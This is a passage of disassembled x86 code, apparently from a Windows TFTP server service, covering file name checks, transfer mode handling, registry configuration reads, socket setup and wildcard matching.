		mov	eax, offset aOctet ; "octet"


loc_1003008:				; CODE XREF: sub_1002F31+F3j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100302A
		test	cl, cl
		jz	short loc_1003026
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100302A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1003008


loc_1003026:				; CODE XREF: sub_1002F31+E1j
		xor	eax, eax
		jmp	short loc_100302F
; ---------------------------------------------------------------------------


loc_100302A:				; CODE XREF: sub_1002F31+DDj
					; sub_1002F31+EBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100302F:				; CODE XREF: sub_1002F31+F7j
		test	eax, eax
		jnz	loc_10032F6


loc_1003037:				; CODE XREF: sub_1002F31+CDj
		mov	edi, [ebp+var_18]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esi+1FFADh]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+var_4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_1003071
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10030CB
; ---------------------------------------------------------------------------


loc_1003071:				; CODE XREF: sub_1002F31+137j
		push	[ebp+var_8]
		push	offset dword_1005CE8
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003093
		push	[ebp+var_8]
		push	offset dword_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	short loc_10030A4


loc_1003093:				; CODE XREF: sub_1002F31+14Fj
		push	[ebp+var_4]
		push	offset dword_1005D58
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_10030B0


loc_10030A4:				; CODE XREF: sub_1002F31+160j
		call	ds:dword_10010AC
		push	0
		push	2
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030B0:				; CODE XREF: sub_1002F31+171j
		push	(offset	dword_1005E07+1)
		push	0FFBCh
		push	[ebp+var_4]
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10030CF
		push	offset aFileNameTooLon ; "File name too	long"


loc_10030CB:				; CODE XREF: sub_1002F31+13Ej
		push	0
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030CF:				; CODE XREF: sub_1002F31+193j
		push	8000h
		push	[ebp+var_4]
		call	ds:dword_10010E4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebx+1002Ch], eax
		jnz	short loc_1003116
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		call	esi ; dword_10010AC
		push	0
		push	1


loc_1003100:				; CODE XREF: sub_1002F31+17Dj
					; sub_1002F31+19Cj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax
		jmp	loc_1003308
; ---------------------------------------------------------------------------


loc_1003116:				; CODE XREF: sub_1002F31+1B7j
		mov	edi, ds:dword_1001088
		push	2
		push	0
		push	eax
		call	edi ; dword_1001088
		mov	esi, [ebp+arg_0]
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1003140
		push	0
		push	0
		mov	[esi+24h], eax
		push	dword ptr [ebx+1002Ch]
		call	edi ; dword_1001088
		add	esp, 0Ch


loc_1003140:				; CODE XREF: sub_1002F31+1FBj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003159
		mov	edi, ds:dword_10010AC
		call	edi ; dword_10010AC
		call	edi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		jmp	short loc_1003197
; ---------------------------------------------------------------------------


loc_1003159:				; CODE XREF: sub_1002F31+212j
		push	0
		push	2
		push	2
		call	ds:dword_100112C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	short loc_1003191
		mov	eax, [esi+1Ch]
		and	[ebp+var_26], 0
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_28], 2
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_10031A3


loc_1003191:				; CODE XREF: sub_1002F31+23Cj
		call	ds:dword_10010F8


loc_1003197:				; CODE XREF: sub_1002F31+226j
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		jmp	loc_10032FA
; ---------------------------------------------------------------------------


loc_10031A3:				; CODE XREF: sub_1002F31+25Ej
		push	ebx
		mov	[esi+8], edi
		call	ds:dword_1001044
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+var_8], esi
		movsd
		movsd
		movsd
		movsd
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	ds:dword_1001040
		cmp	eax, edi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10031E8
		push	2
		push	eax
		push	[ebp+var_4]
		call	sub_100188E
		cmp	eax, edi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_10031F3


loc_10031E8:				; CODE XREF: sub_1002F31+2A0j
		call	ds:dword_1001038
		jmp	loc_1003312
; ---------------------------------------------------------------------------


loc_10031F3:				; CODE XREF: sub_1002F31+2B5j
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	1
		pop	esi
		push	[ebp+var_4]
		mov	[ebp+var_14], esi
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_1003312
		lea	edi, [ebx+10028h]
		lea	eax, [ebx+38h]
		push	edi
		push	eax
		lea	eax, [ebx+10024h]
		mov	[ebp+var_10], esi
		push	eax
		mov	eax, [ebp+var_C]
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		push	eax
		push	esi
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003312
		cmp	[edi], eax
		jz	short loc_1003255
		mov	eax, [esi+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_100325F
; ---------------------------------------------------------------------------


loc_1003255:				; CODE XREF: sub_1002F31+311j
		mov	dword ptr [ebx+10000h],	3E8h


loc_100325F:				; CODE XREF: sub_1002F31+322j
		mov	eax, [ebx+10000h]
		push	0
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:dword_1001178
		push	1
		pop	edi
		mov	[ebx+24h], edi
		mov	eax, [esi+20h]
		push	esi
		push	ebx
		mov	[ebx+10018h], eax
		mov	[ebx+10014h], di
		call	sub_10027E1
		push	10h
		xor	ecx, ecx
		push	[ebp+var_8]
		cmp	eax, ecx
		mov	[ebx+1000Ch], ecx
		push	ecx
		push	dword ptr [ebx+10020h]
		jz	short loc_10032D9
		lea	eax, [ebx+38h]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_1001130
		mov	ecx, [ebx+1001Ch]
		cmp	ecx, [esi+20h]
		jnb	short loc_10032E9
		mov	[ebx+10030h], edi
		jmp	short loc_10032E9
; ---------------------------------------------------------------------------


loc_10032D9:				; CODE XREF: sub_1002F31+386j
		add	esi, 0FFF1h
		push	esi
		push	[ebp+var_4]
		call	ds:dword_1001130


loc_10032E9:				; CODE XREF: sub_1002F31+39Ej
					; sub_1002F31+3A6j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003312
		call	ds:dword_10010F8
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_10032F6:				; CODE XREF: sub_1002F31+100j
		push	0
		push	4


loc_10032FA:				; CODE XREF: sub_1002F31+26Dj
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi


loc_1003308:				; CODE XREF: sub_1002F31+1E0j
		call	sub_100230A
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_100330F:				; CODE XREF: sub_1002F31+27j
		mov	ebx, [ebp+arg_0]


loc_1003312:				; CODE XREF: sub_1002F31+2BDj
					; sub_1002F31+2DDj ...
		test	ebx, ebx
		jz	short loc_1003331
		cmp	[ebp+var_10], 0
		jz	short loc_1003323
		push	ebx
		call	ds:dword_100104C


loc_1003323:				; CODE XREF: sub_1002F31+3E9j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003331
		push	ebx
		call	ds:dword_10010A0
		pop	ecx


loc_1003331:				; CODE XREF: sub_1002F31+50j
					; sub_1002F31+3E3j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_1002F31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100333A	proc near		; DATA XREF: sub_1001A91+20Fo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	ebx
		push	esi
		push	edi
		push	10034h
		call	ds:dword_1001094
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003731
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		push	0FFBAh
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+36h]
		push	esi
		mov	[ebp+var_4], esi
		call	sub_1002F0E
		test	eax, eax
		jz	loc_1003712
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebp+arg_0]
		not	ecx
		push	dword ptr [edi+10h]
		dec	ecx
		lea	esi, [ecx+esi+1]
		call	ds:dword_1001120
		mov	[ebp+var_18], eax
		mov	ax, [edi+0Eh]
		push	eax
		call	ds:dword_1001104
		cmp	byte ptr [esi],	0
		mov	edi, esi
		mov	[ebp+var_C], edi
		jz	short loc_10033E1


loc_10033BC:				; CODE XREF: sub_100333A+A2j
		movsx	eax, byte ptr [edi]
		push	eax
		call	ds:dword_100114C
		test	eax, eax
		movsx	eax, byte ptr [edi]
		pop	ecx
		jz	short loc_10033D6
		push	eax
		call	ds:dword_1001150
		pop	ecx


loc_10033D6:				; CODE XREF: sub_100333A+92j
		mov	[edi], al
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_10033BC
		mov	[ebp+var_C], edi


loc_10033E1:				; CODE XREF: sub_100333A+80j
		mov	eax, offset aNetascii ;	"netascii"
		mov	edi, esi


loc_10033E8:				; CODE XREF: sub_100333A+CAj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100340A
		test	cl, cl
		jz	short loc_1003406
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100340A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_10033E8


loc_1003406:				; CODE XREF: sub_100333A+B8j
		xor	eax, eax
		jmp	short loc_100340F
; ---------------------------------------------------------------------------


loc_100340A:				; CODE XREF: sub_100333A+B4j
					; sub_100333A+C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100340F:				; CODE XREF: sub_100333A+CEj
		test	eax, eax
		jnz	short loc_100341F
		mov	dword ptr [ebx+10030h],	4000h
		jmp	short loc_100345D
; ---------------------------------------------------------------------------


loc_100341F:				; CODE XREF: sub_100333A+D7j
		mov	edi, offset aOctet ; "octet"


loc_1003424:				; CODE XREF: sub_100333A+106j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_1003446
		test	al, al
		jz	short loc_1003442
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_1003446
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_1003424


loc_1003442:				; CODE XREF: sub_100333A+F4j
		xor	eax, eax
		jmp	short loc_100344B
; ---------------------------------------------------------------------------


loc_1003446:				; CODE XREF: sub_100333A+F0j
					; sub_100333A+FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100344B:				; CODE XREF: sub_100333A+10Aj
		test	eax, eax
		jnz	loc_10036F8
		mov	dword ptr [ebx+10030h],	8000h


loc_100345D:				; CODE XREF: sub_100333A+E3j
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		lea	edx, [eax+1FFADh]
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+var_8], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_100349A
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10034DF
; ---------------------------------------------------------------------------


loc_100349A:				; CODE XREF: sub_100333A+157j
		push	[ebp+var_18]
		push	offset dword_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	[ebp+var_4]
		push	offset dword_1005D90
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	(offset	dword_1005E07+1)
		push	0FFBCh
		push	[ebp+var_8]
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10034E6
		push	offset aFileNameTooLon ; "File name too	long"


loc_10034DF:				; CODE XREF: sub_100333A+15Ej
		push	0
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_10034E6:				; CODE XREF: sub_100333A+19Ej
		push	180h
		push	8302h
		push	[ebp+var_8]
		call	ds:dword_10010E4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebx+1002Ch], eax
		jnz	short loc_100351E
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		jmp	loc_10036F2
; ---------------------------------------------------------------------------


loc_100351E:				; CODE XREF: sub_100333A+1CBj
		xor	esi, esi
		push	esi
		push	2
		push	2
		call	ds:dword_100112C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_1003546
		call	ds:dword_10010F8
		push	offset aInsufficientRe ; "Insufficient resources"
		push	esi
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_1003546:				; CODE XREF: sub_100333A+1F9j
		mov	[ebp+var_26], si
		mov	esi, [ebp+arg_0]
		push	10h
		mov	[ebp+var_28], 2
		mov	eax, [esi+1Ch]
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_100358A
		call	ds:dword_10010F8
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi
		jmp	loc_100370D
; ---------------------------------------------------------------------------


loc_100358A:				; CODE XREF: sub_100333A+22Ej
		lea	eax, [ebx+10028h]
		mov	[esi+8], edi
		push	eax
		lea	eax, [ebx+38h]
		push	eax
		lea	eax, [ebx+10024h]
		push	eax
		mov	eax, [ebp+var_C]
		inc	eax
		push	2
		push	eax
		push	esi
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003712
		push	ebx
		call	ds:dword_1001044
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+var_18], esi
		movsd
		movsd
		movsd
		movsd
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	ds:dword_1001040
		cmp	eax, esi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10035F8
		push	2
		pop	edi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_100188E
		cmp	eax, esi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_1003603


loc_10035F8:				; CODE XREF: sub_100333A+2A5j
		call	ds:dword_1001038
		jmp	loc_1003712
; ---------------------------------------------------------------------------


loc_1003603:				; CODE XREF: sub_100333A+2BCj
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	[ebp+var_4]
		mov	[ebp+var_14], 1
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, esi
		jz	loc_1003712
		xor	esi, esi
		mov	[ebp+var_10], 1
		cmp	[ebx+10028h], esi
		jz	short loc_100364A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_1003654
; ---------------------------------------------------------------------------


loc_100364A:				; CODE XREF: sub_100333A+2FAj
		mov	dword ptr [ebx+10000h],	3E8h


loc_1003654:				; CODE XREF: sub_100333A+30Ej
		mov	eax, [ebx+10000h]
		push	esi
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:dword_1001178
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebx+10024h]
		mov	[ebx+24h], edi
		cmp	ecx, esi
		mov	eax, [eax+20h]
		mov	[ebx+10018h], eax
		lea	eax, [ebx+10024h]
		jz	short loc_10036A1
		mov	[ebx+10020h], ecx
		mov	[eax], esi
		jmp	short loc_10036C5
; ---------------------------------------------------------------------------


loc_10036A1:				; CODE XREF: sub_100333A+35Bj
		mov	esi, ds:dword_1001104
		push	4
		pop	edi
		push	edi
		call	esi ; dword_1001104
		mov	[ebx+38h], ax
		mov	ax, [ebx+10014h]
		push	eax
		call	esi ; dword_1001104
		mov	[ebx+3Ah], ax
		mov	[ebx+10020h], edi


loc_10036C5:				; CODE XREF: sub_100333A+365j
		push	10h
		lea	eax, [ebx+38h]
		push	[ebp+var_18]
		push	0
		push	dword ptr [ebx+10020h]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003712
		call	ds:dword_10010F8
		jmp	short loc_1003712
; ---------------------------------------------------------------------------


loc_10036EC:				; CODE XREF: sub_100333A+16Fj
					; sub_100333A+184j
		call	ds:dword_10010AC


loc_10036F2:				; CODE XREF: sub_100333A+1DFj
		push	0
		push	2
		jmp	short loc_10036FC
; ---------------------------------------------------------------------------


loc_10036F8:				; CODE XREF: sub_100333A+113j
		push	0
		push	4


loc_10036FC:				; CODE XREF: sub_100333A+1A7j
					; sub_100333A+207j ...
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax


loc_100370D:				; CODE XREF: sub_100333A+24Bj
		call	sub_100230A


loc_1003712:				; CODE XREF: sub_100333A+48j
					; sub_100333A+274j ...
		test	ebx, ebx
		jz	short loc_1003731
		cmp	[ebp+var_10], 0
		jz	short loc_1003723
		push	ebx
		call	ds:dword_100104C


loc_1003723:				; CODE XREF: sub_100333A+3E0j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003731
		push	ebx
		call	ds:dword_10010A0
		pop	ecx


loc_1003731:				; CODE XREF: sub_100333A+21j
					; sub_100333A+3DAj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_100333A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100373A	proc near		; CODE XREF: sub_1002CE6+D7p

var_1FF70	= byte ptr -1FF70h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1FF70h
		call	sub_1003A3E
		cmp	[ebp+arg_C], 8000h
		push	esi
		push	edi
		jnz	short loc_100375A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		jmp	short loc_1003792
; ---------------------------------------------------------------------------


loc_100375A:				; CODE XREF: sub_100373A+16j
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		xor	esi, esi
		cmp	[ebp+arg_8], ecx
		jle	short loc_1003790
		mov	edi, [ebp+arg_10]


loc_1003769:				; CODE XREF: sub_100373A+54j
		cmp	byte ptr [edi],	0Dh
		jnz	short loc_1003779
		cmp	byte ptr [ecx+edx], 0
		jnz	short loc_1003779
		and	byte ptr [edi],	0
		jmp	short loc_100378A
; ---------------------------------------------------------------------------


loc_1003779:				; CODE XREF: sub_100373A+32j
					; sub_100373A+38j
		mov	al, [ecx+edx]
		mov	[ebp+esi+var_1FF70], al
		inc	esi
		cmp	al, 0Dh
		jnz	short loc_100378A
		mov	[edi], al


loc_100378A:				; CODE XREF: sub_100373A+3Dj
					; sub_100373A+4Cj
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jl	short loc_1003769


loc_1003790:				; CODE XREF: sub_100373A+2Aj
		push	esi
		push	edx


loc_1003792:				; CODE XREF: sub_100373A+1Ej
		push	[ebp+arg_0]
		call	ds:dword_10010E8
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_10037B7
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C


loc_10037B7:				; CODE XREF: sub_100373A+69j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	14h
sub_100373A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10037BF	proc near		; CODE XREF: sub_1001665:loc_10017F3p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_10]
		push	ebx
		xor	ebx, ebx
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
		push	80000002h
		mov	[ebp+var_4], ebx
		call	ds:dword_1001000
		cmp	eax, ebx
		jz	short loc_10037F6
		call	ds:dword_1001038
		xor	eax, eax
		jmp	loc_100390D
; ---------------------------------------------------------------------------


loc_10037F6:				; CODE XREF: sub_10037BF+28j
		cmp	byte ptr dword_1005E07+1, bl
		push	edi
		push	esi
		mov	esi, ds:dword_1001008
		jnz	short loc_100383C
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 1F4h
		push	eax
		lea	eax, [ebp+var_C]
		push	(offset	dword_1005E07+1)
		push	eax
		push	ebx
		push	offset aDirectory ; "directory"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003831
		call	ds:dword_1001038
		jmp	short loc_100383C
; ---------------------------------------------------------------------------


loc_1003831:				; CODE XREF: sub_10037BF+68j
		push	1
		pop	eax
		cmp	[ebp+var_C], eax
		jnz	short loc_100383C
		mov	[ebp+var_4], eax


loc_100383C:				; CODE XREF: sub_10037BF+45j
					; sub_10037BF+70j ...
		push	32h
		lea	eax, [ebp+var_8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005CE8
		push	eax
		push	ebx
		push	offset aClients	; "clients"
		push	[ebp+var_10]
		mov	[ebp+var_8], edi
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003866
		call	ds:dword_1001038
		jmp	short loc_100386F
; ---------------------------------------------------------------------------


loc_1003866:				; CODE XREF: sub_10037BF+9Dj
		cmp	[ebp+var_C], 1
		jnz	short loc_100386F
		inc	[ebp+var_4]


loc_100386F:				; CODE XREF: sub_10037BF+A5j
					; sub_10037BF+ABj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D20
		push	eax
		push	ebx
		push	offset aMasters	; "masters"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003896
		call	ds:dword_1001038
		jmp	short loc_100389F
; ---------------------------------------------------------------------------


loc_1003896:				; CODE XREF: sub_10037BF+CDj
		cmp	[ebp+var_C], 1
		jnz	short loc_100389F
		inc	[ebp+var_4]


loc_100389F:				; CODE XREF: sub_10037BF+D5j
					; sub_10037BF+DBj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D58
		push	eax
		push	ebx
		push	offset aReadable ; "readable"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_10038C6
		call	ds:dword_1001038
		jmp	short loc_10038CF
; ---------------------------------------------------------------------------


loc_10038C6:				; CODE XREF: sub_10037BF+FDj
		cmp	[ebp+var_C], 1
		jnz	short loc_10038CF
		inc	[ebp+var_4]


loc_10038CF:				; CODE XREF: sub_10037BF+105j
					; sub_10037BF+10Bj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D90
		push	eax
		push	ebx
		push	offset aWritable ; "writable"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_10038F6
		call	ds:dword_1001038
		jmp	short loc_10038FF
; ---------------------------------------------------------------------------


loc_10038F6:				; CODE XREF: sub_10037BF+12Dj
		cmp	[ebp+var_C], 1
		jnz	short loc_10038FF
		inc	[ebp+var_4]


loc_10038FF:				; CODE XREF: sub_10037BF+135j
					; sub_10037BF+13Bj
		push	[ebp+var_10]
		call	ds:dword_100100C
		mov	eax, [ebp+var_4]
		pop	esi
		pop	edi


loc_100390D:				; CODE XREF: sub_10037BF+32j
		pop	ebx
		leave
		retn
sub_10037BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1003910	proc near		; CODE XREF: sub_1001665+193p

var_1F4		= byte ptr -1F4h

		sub	esp, 1F4h
		cmp	byte ptr dword_1005E07+1, 0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 1F4h
		mov	ebx, (offset dword_1005E07+1)
		jnz	short loc_100393D
		push	ebp
		push	offset aTftpdroot ; "\\tftpdroot\\"
		push	ebx
		call	ds:dword_1001148
		add	esp, 0Ch


loc_100393D:				; CODE XREF: sub_1003910+1Bj
		lea	eax, [esp+204h+var_1F4]
		push	ebp
		push	eax
		push	ebx
		call	ds:dword_1001020
		test	eax, eax
		jnz	short loc_1003952
		push	57h
		jmp	short loc_10039CA
; ---------------------------------------------------------------------------


loc_1003952:				; CODE XREF: sub_1003910+3Cj
		mov	ecx, eax
		lea	esi, [esp+204h+var_1F4]
		mov	edi, ebx
		or	edx, 0FFFFFFFFh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr dword_1005E07[ecx], 2Fh
		lea	eax, dword_1005E07[ecx]
		jnz	short loc_1003986
		mov	byte ptr [eax],	5Ch


loc_1003986:				; CODE XREF: sub_1003910+71j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_10039B7
		cmp	ecx, ebp
		jnb	short loc_10039B7
		mov	edi, offset asc_100155C	; "\\"
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebp, ecx
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		mov	ecx, ebp
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebp
		and	ecx, 3
		rep movsb


loc_10039B7:				; CODE XREF: sub_1003910+79j
					; sub_1003910+7Dj
		mov	edi, ebx
		mov	ecx, edx
		xor	eax, eax
		push	1
		repne scasb
		not	ecx
		dec	ecx
		mov	dword_1005FFC, ecx


loc_10039CA:				; CODE XREF: sub_1003910+40j
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1F4h
		retn
sub_1003910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10039D6	proc near		; CODE XREF: sub_1002F31+148p
					; sub_1002F31+159p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	al, [esi]
		test	al, al
		jz	short loc_1003A2E
		cmp	al, 2Ah
		jz	short loc_1003A04
		cmp	al, 3Fh
		jz	short loc_10039F7
		mov	ecx, [ebp+arg_4]
		cmp	al, [ecx]
		jnz	short loc_1003A25
		inc	ecx
		push	ecx
		jmp	short loc_1003A01
; ---------------------------------------------------------------------------


loc_10039F7:				; CODE XREF: sub_10039D6+14j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jz	short loc_1003A25
		inc	eax
		push	eax


loc_1003A01:				; CODE XREF: sub_10039D6+1Fj
		inc	esi
		jmp	short loc_1003A1B
; ---------------------------------------------------------------------------


loc_1003A04:				; CODE XREF: sub_10039D6+10j
		mov	edi, [ebp+arg_4]
		lea	eax, [esi+1]
		push	edi
		push	eax
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29
		cmp	[edi], al
		jz	short loc_1003A25
		inc	edi
		push	edi


loc_1003A1B:				; CODE XREF: sub_10039D6+2Cj
		push	esi
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29


loc_1003A25:				; CODE XREF: sub_10039D6+1Bj
					; sub_10039D6+27j ...
		xor	eax, eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A29:				; CODE XREF: sub_10039D6+3Dj
					; sub_10039D6+4Dj
		push	1
